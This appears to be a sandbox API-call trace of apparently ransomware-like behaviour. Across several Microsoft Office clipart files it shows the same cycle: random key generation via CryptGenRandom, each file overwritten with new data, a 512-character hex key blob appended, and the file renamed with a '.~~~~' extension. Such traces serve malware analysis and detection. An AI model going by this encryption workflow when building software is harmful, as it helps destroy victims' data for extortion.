	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2be0
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2be0 | out: hHeap=0x300000) returned 1
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0089.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.041] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.042] GetLastError () returned 0x0
	[0089.042] GetLastError () returned 0x0
	[0089.042] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.042] GetLastError () returned 0x0
	[0089.042] GetLastError () returned 0x0
	[0089.044] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9924, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.045] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x66dc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x66dc, lpOverlapped=0x0) returned 1
	[0089.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.045] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.045] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.046] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.046] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.046] CloseHandle (hObject=0x128) returned 1
	[0089.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.046] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.~~~~")) returned 1
	[0089.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.047] GetLastError () returned 0x0
	[0089.047] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.048] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.048] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20903834221) returned 1
	[0089.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9edefd30, dwHighDateTime=0x1d60e1e)) 
	[0089.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2ba8
	[0089.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2ba8 | out: hHeap=0x300000) returned 1
	[0089.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0089.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.049] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.049] GetLastError () returned 0x0
	[0089.049] GetLastError () returned 0x0
	[0089.049] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.049] GetLastError () returned 0x0
	[0089.049] GetLastError () returned 0x0
	[0089.052] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff932e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.052] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x6cd2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x6cd2, lpOverlapped=0x0) returned 1
	[0089.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.053] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.053] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.053] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.053] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.053] CloseHandle (hObject=0x128) returned 1
	[0089.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce818
	[0089.054] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.~~~~")) returned 1
	[0089.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0089.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.055] GetLastError () returned 0x0
	[0089.055] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.056] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.056] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.056] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20904634988) returned 1
	[0089.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ee15e90, dwHighDateTime=0x1d60e1e)) 
	[0089.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2b70
	[0089.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b70 | out: hHeap=0x300000) returned 1
	[0089.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce818
	[0089.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c67a8
	[0089.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0089.057] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.057] GetLastError () returned 0x0
	[0089.057] GetLastError () returned 0x0
	[0089.057] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.057] GetLastError () returned 0x0
	[0089.058] GetLastError () returned 0x0
	[0089.062] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff15e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.062] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xea2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xea2, lpOverlapped=0x0) returned 1
	[0089.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.062] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.062] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.062] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.062] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.063] CloseHandle (hObject=0x128) returned 1
	[0089.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.063] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.~~~~")) returned 1
	[0089.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.064] GetLastError () returned 0x0
	[0089.064] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0089.065] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0089.065] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0089.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0089.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.065] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20905546026) returned 1
	[0089.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ee15e90, dwHighDateTime=0x1d60e1e)) 
	[0089.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2b00
	[0089.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b00 | out: hHeap=0x300000) returned 1
	[0089.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b748
	[0089.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.066] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.066] GetLastError () returned 0x0
	[0089.066] GetLastError () returned 0x0
	[0089.066] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.066] GetLastError () returned 0x0
	[0089.067] GetLastError () returned 0x0
	[0089.109] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff43c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.110] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xbc4, lpOverlapped=0x0) returned 1
	[0089.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.110] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.110] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.110] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.110] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.111] CloseHandle (hObject=0x128) returned 1
	[0089.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.~~~~")) returned 1
	[0089.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.111] GetLastError () returned 0x0
	[0089.112] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0089.113] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0089.113] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0089.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.113] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20910301737) returned 1
	[0089.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ee3bff0, dwHighDateTime=0x1d60e1e)) 
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2ac8
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2ac8 | out: hHeap=0x300000) returned 1
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b878
	[0089.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.113] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.114] GetLastError () returned 0x0
	[0089.114] GetLastError () returned 0x0
	[0089.114] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.114] GetLastError () returned 0x0
	[0089.114] GetLastError () returned 0x0
	[0089.116] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff53c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.116] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xac4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xac4, lpOverlapped=0x0) returned 1
	[0089.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.116] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.116] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.117] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.117] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.117] CloseHandle (hObject=0x128) returned 1
	[0089.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.~~~~")) returned 1
	[0089.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.118] GetLastError () returned 0x0
	[0089.118] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.119] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.119] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20910921891) returned 1
